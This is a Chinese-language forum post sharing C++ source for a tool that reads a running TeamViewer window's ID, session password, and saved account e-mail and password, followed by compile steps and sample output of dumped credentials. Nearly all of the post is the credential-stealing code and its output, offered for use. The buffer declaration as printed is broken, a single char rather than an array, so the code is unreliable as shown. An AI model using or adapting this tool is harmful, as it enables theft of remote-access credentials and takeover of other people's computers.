libo 发表于 2018-5-22 09:36:11

获取运行中的TeamViewer的账号和密码

PS:通过枚举子窗口转储TeamViewer ID,密码和帐户设置从正在运行的TeamViewer实例。



#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <iostream>
#pragma comment( lib, "kernel32" )
#pragma comment( lib, "user32" )

int status = 0;

BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam)
{
      const int BufferSize = 1024;
      char BufferContent = "";
      SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
      
      if (status == 1)
      {
                printf("%s\n", BufferContent);
                status = 0;
      }

      if (strstr(BufferContent, "Allow Remote Control") != NULL)
      {
                status = 1;
                printf("TeamViewer ID: ");
      }
      
      if (strstr(BufferContent, "Please tell your partner") != NULL)
      {
                status = 1;
                printf("TeamViewer PASS: ");
      }

      return 1;
}

BOOL CALLBACK EnumAccountWindow(HWND hwnd, LPARAM lParam)
{
      const int BufferSize = 1024;
      char BufferContent = "";
      SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
      
      if (status == 1)
      {
                printf("%s\n", BufferContent);
                status = 0;
      }

      if (strstr(BufferContent, "E-mail") != NULL)
      {
                status = 1;
                printf("E-mail: ");
      }
      
      if (strstr(BufferContent, "Password") != NULL)
      {
                status = 1;
                printf("Password: ");
      }

      return 1;
}


int main()
{
      HWND hwndTeamViewer = FindWindow(NULL, "TeamViewer");

      if (hwndTeamViewer)
      {
                EnumChildWindows(hwndTeamViewer, EnumMainTVWindow, 0);
      }
      
      
      HWND hwndAccount = FindWindow(NULL, "Computers & Contacts");

      if (hwndAccount)
      {
                EnumChildWindows(hwndAccount, EnumAccountWindow, 0);
      }

      
      return 0;
}


Compile with CL
    cl TeamViewerDump.cpp
    or with cl TeamViewerDump.cpp /EHsc
Requirements
    TeamViewer must be running
    Tested only with English GUI of TeamViewer


C:\tools\Projects>TeamViewer_Dump.exe
TeamViewer ID: 606 151 261
TeamViewer PASS: 3239
E-mail: hacked@account.com
Password: FooPassword123

C:\tools\Projects>
页: [1]
查看完整版本: 获取运行中的TeamViewer的账号和密码